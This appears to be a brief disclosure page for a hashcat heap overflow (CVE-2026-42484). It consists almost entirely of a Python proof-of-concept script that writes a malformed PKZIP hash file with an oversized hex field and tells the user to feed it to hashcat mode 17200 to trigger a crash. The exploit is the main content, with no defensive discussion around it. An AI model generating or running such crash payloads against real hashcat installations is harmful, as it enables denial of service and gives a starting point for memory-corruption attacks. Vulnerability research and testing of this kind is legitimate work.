CVE-2026-42484 hashcat堆溢出漏洞

# Proof of Concept for CVE-2026-42484 # Generates a malicious PKZIP hash file to trigger heap overflow in hashcat def generate_malicious_hash(): # Module 17200 format example: $zip2$*0*1*0*...*$ # The overflow happens when hex data is decoded into a fixed buffer hash_header = "$zip2$*0*1*0*" # Create a large hex string (e.g., 1000 bytes of 'A's) # Adjust length based on the specific buffer size in hex_to_binary payload_hex = "41" * 1000 malicious_hash = hash_header + payload_hex + "*$" with open("exploit_hash.txt", "w") as f: f.write(malicious_hash) print("[+] Malicious hash file generated: exploit_hash.txt") print("[+] To test, run: ./hashcat -m 17200 exploit_hash.txt") print("[!] This should trigger a crash or unexpected behavior.") if __name__ == "__main__": generate_malicious_hash()